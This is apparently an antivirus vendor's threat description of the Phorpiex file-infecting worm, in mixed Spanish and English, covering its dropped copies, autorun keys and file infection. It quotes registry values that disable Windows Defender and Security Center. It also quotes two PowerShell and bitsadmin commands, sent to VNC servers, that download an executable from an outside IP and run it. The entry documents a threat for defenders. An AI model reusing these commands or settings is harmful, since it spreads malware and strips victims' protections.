Virus.Win32.PHORPIEX.AA

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Elimina archivos para impedir la ejecución correcta de programas y aplicaciones.

Infecta determinados tipos de archivos insertando código en dichos archivos.

Se finaliza a sí misma si detecta que está siendo ejecutada en un entorno virtual.

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Instalación

Crea las siguientes copias de sí mismo en el sistema afectado:

• {Drive}:\__\DriveMgr.exe
• %Windows%\{Random numbers}\svchost.exe

(Nota: %Windows% es la carpeta de Windows, que suele estar en C:\Windows o C:\WINNT).

Infiltra los archivos siguientes:

• {Drive}:\autorun.inf (Used as persistence for dropped copy in the removable drive)
• {Drive}:\.lnk (Executes dropped copy in the removable drive)
• %Application Data%\winsvcs.txt

(Nota: %Application Data% es la carpeta Application Data del usuario activo, que en el caso de Windows 98 y ME suele estar ubicada en C:\Windows\Profiles\{nombre de usuario}\Application Data, en el caso de Windows NT en C:\WINNT\Profiles\{nombre de usuario}\Application Data, en el caso de Windows 2000(32-bit), XP y Server 2003(32-bit) en C:\Documents and Settings\{nombre de usuario}\Local Settings\Application Data y en el caso de Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) y 10(64-bit) en C:\Users\{nombre de usuario}\AppData\Roaming.).

Técnica de inicio automático

Agrega las siguientes entradas de registro para permitir su ejecución automática cada vez que se inicia el sistema:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Run
Microsoft Service Driver = %Windows%\{Random numbers}\svchost.exe

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
Microsoft Service Driver = %Windows%\{Random numbers}\svchost.exe

Otras modificaciones del sistema

Elimina los archivos siguientes:

• {Malware file path and name}:Zone.Identifier
• Files in removable drives with the following extensions:
  • .lnk
  • .vbs
  • .bat
  • .js
  • .scr
  • .com
  • .jse
  • .cmd
  • .pif
  • .jar
  • .dll
  • .vbe
  • .inf

Infección de archivo

Infecta los archivos con las siguientes extensiones insertando código en dichos archivos:

• .exe files in removable and remote drives, excluding files related to itself

Rutina de descarga

Guarda los archivos que descarga con los nombres siguientes:

• %User Temp%\{Random numbers}.exe

(Nota: %User Temp% es la carpeta Temp del usuario activo, que en el caso de Windows 2000(32-bit), XP y Server 2003(32-bit) suele estar en C:\Documents and Settings\{nombre de usuario}\Local Settings\Temp y en el case de Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) y 10(64-bit) en C:\Users\{nombre de usuario}\AppData\Local\Temp).

Otros detalles

Se finaliza a sí misma si detecta que está siendo ejecutada en un entorno virtual.

Hace lo siguiente:

• It sets the following registry entries to bypass security measures:
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
    • {Malware file path and name}=%Windows%\{Random numbers}\svchost.exe:*:Microsoft Service Driver
  • HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender
    • DisableAntiSpyware=1
  • HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection
    • DisableBehaviorMonitoring=1
    • DisableOnAccessProtection=1
    • DisableScanOnRealtimeEnable=1
  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center and HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Svc
    • AntiVirusOverride=1
    • UpdatesOverride=1
    • FirewallOverride=1
    • AntiVirusDisableNotify=1
    • UpdatesDisableNotify=1
    • AutoUpdateDisableNotify=1
    • FirewallDisableNotify=1
• It attacks the network through sending the following commands in vulnerable VNC servers:
  • "cmd.exe /c PowerShell -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://88.218.16.27/{Counter}','%temp%\50399340.exe');Start-Process '%temp%\50399340.exe'"
  • "cmd.exe /c bitsadmin /transfer hello /download /priority high http://88.218.16.27/{Counter} %temp%\69302084.exe&start %temp%\69302084.exe"
• It attacks the network by brute-forcing vulnerable VNC servers queried through randomizing IP addresses and excluding addresses starting with 127, 172, and 192.
• It infects files and marks them with a .zero section name.